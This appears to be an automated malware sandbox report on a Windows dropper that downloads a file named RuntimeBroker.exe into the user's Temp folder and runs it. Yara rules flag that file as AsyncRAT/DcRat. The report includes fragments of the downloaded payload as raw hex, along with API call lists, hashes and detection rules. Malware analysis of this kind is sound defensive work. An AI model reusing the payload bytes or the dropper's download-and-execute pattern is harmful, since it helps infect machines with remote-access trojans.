2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 10 00 00 00 00 00 00 b5 b5 00 0d 01 00 00 01 13 30 07 00 d7 01 00 00 12 00 00 11 73 b3 00 00 06 25 72 b9 12 00 70 6f 9e 00 00 06 72 05 19 00 70 6f ab 00 00 06 25 72 1b 19 00 70 6f 9e 00 00 06 7e 0f 00 00 04 6f ab 00 00 06 25 72 25 19 00 70 6f 9e 00 00 06 28 ab 00 00 0a 6f 3c 00 00 0a 6f ab 00 00 06 25 72 2f 19 00 70 6f 9e 00 00 06 73 ba 00 00 0a 28 bb 00 00 0a 6f 3c 00 00 0a 72 35 19 00 70 14 6f bc 00 00 0a 72 49 19 00 70 28 bd 00 00 0a 0a 12 00 28 be 00 00 0a 72 4d 19 00 70 72 57 19 00 70 6f bc 00 00 0a 72 63 19 00 70 72 6f 19 00 70 6f bc 00 00 0a 28 85 00 00 0a 6f ab 00 00 06 25 72 7b 19 00 70 6f 9e 00 00 06 28 48 00 00 06 0a 12 00 28 be 00 00 0a 6f ab 00 00 06 25 72 89 19 00 70 6f 9e 00 00 06 28 73 00 00 0a 6f 74 00 00 0a 6f 75 00 00 0a 6f ab 00 00 06 Data Ascii: 0s%rporpo%rpo~o%r%po(o<o%r/pos(o<r5porIp((rMprWporcpropo(o%r{po(H(o%rpo(sotouo
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 00 01 10 00 00 00 00 00 00 23 23 00 06 01 00 00 01 1b 30 03 00 1b 00 00 00 00 00 00 00 16 16 16 28 62 00 00 06 dd 0d 00 00 00 26 20 a0 86 01 00 28 16 00 00 0a 2b f4 2a 00 01 10 00 00 00 00 00 00 0d 0d 00 0d 01 00 00 01 1b 30 04 00 41 00 00 00 17 00 00 11 7e 83 00 00 0a 7e 3a 00 00 04 18 6f df 00 00 0a 0a 06 02 03 19 6f e0 00 00 0a 17 0b dd 1e 00 00 00 06 39 06 00 00 00 06 6f 26 00 00 0a dc 6f 57 00 00 0a 28 26 00 00 06 dd 00 00 00 00 16 2a 07 2a 00 00 00 01 1c 00 00 02 00 11 00 10 21 00 0d 00 00 00 00 00 00 00 00 2e 2e 00 0f 3d 00 00 01 1b 30 02 00 42 00 00 00 18 00 00 11 7e 83 00 00 0a 7e 3a 00 00 04 6f d4 00 00 0a 0a 06 02 6f d5 00 00 0a 74 01 00 00 1b 0b dd 1e 00 00 00 06 39 06 00 00 00 06 6f 26 00 00 0a dc 6f 57 00 00 0a 28 26 00 00 06 dd 00 00 00 00 Data Ascii: ##0(b& (+0A~~:oo9o&oW(&*!..=0B~~:oot9o&oW(&
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 01 00 00 0d 00 00 00 00 00 00 00 02 00 00 00 18 00 00 00 28 01 00 00 40 01 00 00 0d 00 00 00 00 00 00 00 13 30 03 00 22 00 00 00 1c 00 00 11 17 0a 16 0b 38 11 00 00 00 03 07 91 04 07 91 3b 02 00 00 00 16 0a 07 17 58 0b 07 03 8e 69 32 e9 06 2a 00 00 13 30 03 00 3b 00 00 00 1d 00 00 11 73 b5 00 00 0a 0a 02 0b 16 0c 38 1f 00 00 00 07 08 91 0d 06 72 45 1c 00 70 09 8c 4f 00 00 01 28 fa 00 00 0a 6f b7 00 00 0a 26 08 17 58 0c 08 07 8e 69 32 db 06 6f 3c 00 00 0a 2a 00 13 30 03 00 3b 00 00 00 1d 00 00 11 73 b5 00 00 0a 0a 02 0b 16 0c 38 1f 00 00 00 07 08 91 0d 06 72 55 1c 00 70 09 8c 4f 00 00 01 28 fa 00 00 0a 6f b7 00 00 0a 26 08 17 58 0c 08 07 8e 69 32 db 06 6f 3c 00 00 0a 2a 00 13 30 04 00 2c 00 00 00 1e 00 00 11 02 8e 69 8d 4f 00 00 01 0a 02 8e 69 17 59 0b 16 Data Ascii: (@0"8;Xi20;s8rEpO(o&Xi2o<0;s8rUpO(o&Xi2o<*0,iOiY
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 00 01 2a 02 7b 49 00 00 04 a5 a5 00 00 01 6c 2a 02 7b 49 00 00 04 a5 89 00 00 01 28 0e 01 00 0a 6c 2a 23 00 00 00 00 00 00 00 00 2a 00 13 30 02 00 a4 00 00 00 23 00 00 11 02 7b 4a 00 00 04 0a 06 1a 59 45 08 00 00 00 16 00 00 00 05 00 00 00 6e 00 00 00 6e 00 00 00 27 00 00 00 38 00 00 00 49 00 00 00 62 00 00 00 38 69 00 00 00 02 7b 49 00 00 04 a5 87 00 00 01 28 fb 00 00 0a 2a 02 7b 49 00 00 04 6f 3c 00 00 0a 28 73 00 00 06 2a 02 7b 49 00 00 04 a5 a4 00 00 01 28 fc 00 00 0a 2a 02 7b 49 00 00 04 a5 a5 00 00 01 28 11 01 00 0a 2a 02 7b 49 00 00 04 a5 89 00 00 01 0b 12 01 28 12 01 00 0a 28 fb 00 00 0a 2a 02 7b 49 00 00 04 74 01 00 00 1b 2a 16 8d 4f 00 00 01 2a 13 30 04 00 4b 00 00 00 24 00 00 11 03 28 87 00 00 0a 39 3e 00 00 00 14 0a 03 19 17 17 73 13 01 00 0a Data Ascii: {Il{I(l#0#{JYEnn'8Ib8i{I({Io<(s{I({I({I(({ItO*0K$(9>s

Target ID:	0
Start time:	21:24:06
Start date:	29/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe"
Imagebase:	0x7ff651790000
File size:	30'208 bytes
MD5 hash:	E40EB702F369E5DECFB33B3D78BD4B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	21:24:09
Start date:	29/09/2024
Path:	C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe
Imagebase:	0x610000
File size:	49'152 bytes
MD5 hash:	2C417B524AED1DA84F185711E5A478F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000003.00000000.2173837580.0000000000612000.00000002.00000001.01000000.00000006.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000003.00000002.4612955259.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000003.00000002.4613580739.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy, Description: Detects executables containing the string DcRatBy, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs Detection: 72%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.9%
Total number of Nodes:	383
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6517916C0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 144
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF651791710
InternetOpenUrlW.WININET ref: 00007FF65179174F
InternetCloseHandle.WININET ref: 00007FF651791760
InternetCloseHandle.WININET ref: 00007FF6517917D2
InternetCloseHandle.WININET ref: 00007FF6517917DB
InternetReadFile.WININET ref: 00007FF6517917FF
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z.MSVCP140 ref: 00007FF651791824
InternetReadFile.WININET ref: 00007FF65179183C
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65179186E
InternetCloseHandle.WININET ref: 00007FF651791877
InternetCloseHandle.WININET ref: 00007FF651791880
??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6517918F9
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF651791905
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65179190F

Strings

ProgramDownloader, xrefs: 00007FF651791709

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: Internet$CloseD@std@@@std@@HandleU?$char_traits@$FileOpenRead$??1?$basic_ios@??1?$basic_ostream@??1?$basic_streambuf@?setstate@?$basic_ios@?write@?$basic_ostream@V12@
String ID: ProgramDownloader
API String ID: 3000614519-2978029317
Opcode ID: 9b4171f253dd89bc2f4e8e56ac116c2dcbdf496e5238893e0a2f42cba29b3923
Instruction ID: 9a711ab5f920926c81d9e349171a4eb28d96c3f0fed7f43442c8a7cd882dc988
Opcode Fuzzy Hash: 9b4171f253dd89bc2f4e8e56ac116c2dcbdf496e5238893e0a2f42cba29b3923
Instruction Fuzzy Hash: 74716372B18B5686EB10CF29E4A47A977B0FB85B54F884032DA4D93B69DF3CD549CB00

Function 00007FF6517913C0 Relevance: 9.2, APIs: 6, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 00007FF65179140C
memmove.VCRUNTIME140 ref: 00007FF65179154D
memmove.VCRUNTIME140 ref: 00007FF6517915A6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF651791634
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF651791670

Part of subcall function 00007FF651793340: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000000100000000,00007FF65179293C,?,?,?,00007FF651791015), ref: 00007FF65179335A

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6517916AC

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemmove$Concurrency::cancel_current_taskNameUsermalloc
String ID:
API String ID: 2791147819-0
Opcode ID: e0a027a790e6d81c1cc841c0ede4b6693aa2e5a3c244eea9489b0198a93938e3
Instruction ID: 4abbe1952fe60823f0fc13400309384847af0406a70d20cf11b61f774b780575
Opcode Fuzzy Hash: e0a027a790e6d81c1cc841c0ede4b6693aa2e5a3c244eea9489b0198a93938e3
Instruction Fuzzy Hash: 7B81B562F18B4191EB10DB29E4542AD6360FB58BB4F584332EA6D937DADF7CE198C340

Function 00007FF651792C60 Relevance: 16.6, APIs: 11, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF651792C9D
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF651792CBC
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF651792CEE
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF651792D09
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF651792D33
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF651792D50
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF651792D77
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF651792DC2

Part of subcall function 00007FF651792E60: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF651792E8D
Part of subcall function 00007FF651792E60: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF651792EA7
Part of subcall function 00007FF651792E60: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF651792ED9
Part of subcall function 00007FF651792E60: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF651792F04
Part of subcall function 00007FF651792E60: std::_Facet_Register.LIBCPMT ref: 00007FF651792F1D
Part of subcall function 00007FF651792E60: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF651792F3C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF651792DD7
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF651792DEE
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF651792E2D

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3067465659-0
Opcode ID: 70ab79a1403d5315265d0810cb3557e94bf044a389665fcccea069b5cdcf3fa9
Instruction ID: 943866e440d2007710e818e395da53d9bae5632b5dae80e36c91cb47c0052940
Opcode Fuzzy Hash: 70ab79a1403d5315265d0810cb3557e94bf044a389665fcccea069b5cdcf3fa9
Instruction Fuzzy Hash: 4A516B3260AF8586EB50CF29E86436977A4FB49F88F584036DA8E93729DF3CD459C740

Function 00007FF651791A00 Relevance: 13.6, APIs: 9, Instructions: 81
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF651791A53
GetExitCodeProcess.KERNELBASE ref: 00007FF651791A68
CloseHandle.KERNEL32 ref: 00007FF651791A75
CloseHandle.KERNEL32 ref: 00007FF651791A8F
GetFileAttributesW.KERNELBASE ref: 00007FF651791AA8
CreateProcessW.KERNELBASE ref: 00007FF651791B25
CloseHandle.KERNEL32 ref: 00007FF651791B3C
CloseHandle.KERNEL32 ref: 00007FF651791B46
SleepEx.KERNELBASE ref: 00007FF651791B51

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle$Process$AttributesCodeCreateExitFileOpenSleep
String ID:
API String ID: 2606710791-0
Opcode ID: 4465e095109e34562a7ab258df4e49aaeb65685f479cd2585f2238bd64d95dd3
Instruction ID: 4f708015a7bd906ab3cf1baa006d86e2f184253588b53872471cec224a7a4ce4
Opcode Fuzzy Hash: 4465e095109e34562a7ab258df4e49aaeb65685f479cd2585f2238bd64d95dd3
Instruction Fuzzy Hash: 93415222E1DB428AF710CB68E86027973A1FF48754F484235D94DB2AAEDF3CE569C640

Function 00007FF6517936D4 Relevance: 10.6, APIs: 7, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6517936F8
__scrt_release_startup_lock.LIBCMT ref: 00007FF651793766
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6517937B4
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6517937B9
_get_narrow_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6517937C1
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6517937EA
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65179383F

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_release_startup_lock_cexit_exit_get_narrow_winmain_command_line_register_thread_local_exe_atexit_callback
String ID:
API String ID: 3995423050-0
Opcode ID: fa25cb70bbc0ac460ecf776212904400aa92264d06165a6d857d54fd50dba9c8
Instruction ID: 0602ff6b2cc212e1616db905ce674fa40a85672913816e42f7590d7a0cab8857
Opcode Fuzzy Hash: fa25cb70bbc0ac460ecf776212904400aa92264d06165a6d857d54fd50dba9c8
Instruction Fuzzy Hash: 8D314C64E4C24391FB24AB7D9571BB92291EF55B84F4C4035E60EEB2EFDE2CE80C8211

Function 00007FF651791000 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF651792840: memmove.VCRUNTIME140(?,?,?,00007FF651791015), ref: 00007FF6517928AA

Part of subcall function 00007FF6517913C0: GetUserNameW.ADVAPI32 ref: 00007FF65179140C
Part of subcall function 00007FF6517913C0: memmove.VCRUNTIME140 ref: 00007FF65179154D

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF651791061

Strings

\AppData\Local\Temp\RuntimeBroker.exe, xrefs: 00007FF651791004

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: memmove$NameUser_invalid_parameter_noinfo_noreturn
String ID: \AppData\Local\Temp\RuntimeBroker.exe
API String ID: 3654858880-2057000481
Opcode ID: 79f19905d00526ba3ce40e61f548f22a8b056df1b5f43dc48df9402481aa5e6c
Instruction ID: 89a0196e0e12454362d3040df51cdf855764ec264ac277c49cea22e7669482cd
Opcode Fuzzy Hash: 79f19905d00526ba3ce40e61f548f22a8b056df1b5f43dc48df9402481aa5e6c
Instruction Fuzzy Hash: F9F081A1F19A86A1EF10DB2CE46127D1221AF843F4F841332E16DA26EF9E2CD54CC300

Function 00007FF651791F00 Relevance: 3.1, APIs: 2, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF651791F69
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF651791FA0

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: fwritememmove
String ID:
API String ID: 1388854176-0
Opcode ID: 1b73adc353df8ee469e39ce0e44924bb4f7f18ed2af78d11447982f98b68e384
Instruction ID: 9c44e996cc6bd8b476229edb1b43ae8399b5efe0d8d46356aaf197c6d201e2b6
Opcode Fuzzy Hash: 1b73adc353df8ee469e39ce0e44924bb4f7f18ed2af78d11447982f98b68e384
Instruction Fuzzy Hash: 1F112922B05B4586EB148F9E95202786360FB94FD4F6C0036EF0CA774ADF3DE4A68300

Function 00007FF651791B60 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF651791A00: OpenProcess.KERNEL32 ref: 00007FF651791A53
Part of subcall function 00007FF651791A00: GetExitCodeProcess.KERNELBASE ref: 00007FF651791A68
Part of subcall function 00007FF651791A00: CloseHandle.KERNEL32 ref: 00007FF651791A75
Part of subcall function 00007FF651791A00: CloseHandle.KERNEL32 ref: 00007FF651791A8F
Part of subcall function 00007FF651791A00: GetFileAttributesW.KERNELBASE ref: 00007FF651791AA8
Part of subcall function 00007FF651791A00: CreateProcessW.KERNELBASE ref: 00007FF651791B25
Part of subcall function 00007FF651791A00: CloseHandle.KERNEL32 ref: 00007FF651791B3C
Part of subcall function 00007FF651791A00: CloseHandle.KERNEL32 ref: 00007FF651791B46
Part of subcall function 00007FF651791A00: SleepEx.KERNELBASE ref: 00007FF651791B51

Part of subcall function 00007FF651792E60: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF651792E8D
Part of subcall function 00007FF651792E60: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF651792EA7
Part of subcall function 00007FF651792E60: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF651792ED9
Part of subcall function 00007FF651792E60: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF651792F04
Part of subcall function 00007FF651792E60: std::_Facet_Register.LIBCPMT ref: 00007FF651792F1D
Part of subcall function 00007FF651792E60: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF651792F3C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF651791B8B

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle$Process$Lockit@std@@$??0_??1_?always_noconv@codecvt_base@std@@AttributesBid@locale@std@@CodeCreateExitFacet_FileGetcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@OpenRegisterSleepV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 1212312986-0
Opcode ID: 4a88758a9339877e77c4009f11d0d5f0dae864ccd5e63a23c5d9fc6f2f06fa28
Instruction ID: 35da4f201f36778f8e3d9e2ccfdfb9ec1329a98a645722e2188075b3a2e5643d
Opcode Fuzzy Hash: 4a88758a9339877e77c4009f11d0d5f0dae864ccd5e63a23c5d9fc6f2f06fa28
Instruction Fuzzy Hash: 52E06521E1994181EB04AB5AF5A537963A0EF48BC4F5C4031DA4D57B4FDE3CC4A4C744

Non-executed Functions

Function 00007FF651793D04 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF651793D20
memset.VCRUNTIME140 ref: 00007FF651793D44
RtlCaptureContext.KERNEL32 ref: 00007FF651793D4D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF651793D67
RtlVirtualUnwind.KERNEL32 ref: 00007FF651793DA8
memset.VCRUNTIME140 ref: 00007FF651793DDB
IsDebuggerPresent.KERNEL32 ref: 00007FF651793DFC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF651793E19
UnhandledExceptionFilter.KERNEL32 ref: 00007FF651793E24

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 1a83481ad1522f8b885902559ffce35783f61588aaa64065adf0bca0ce3e5ff8
Instruction ID: 7fcd9c42dc57094f4da4e9709411012e15f40c25c6543b6bface2f6be86bc3f3
Opcode Fuzzy Hash: 1a83481ad1522f8b885902559ffce35783f61588aaa64065adf0bca0ce3e5ff8
Instruction Fuzzy Hash: 16315E76609B8186EB608F69E8607ED7360FB84744F48403ADA4E97B99DF3CD54CC710

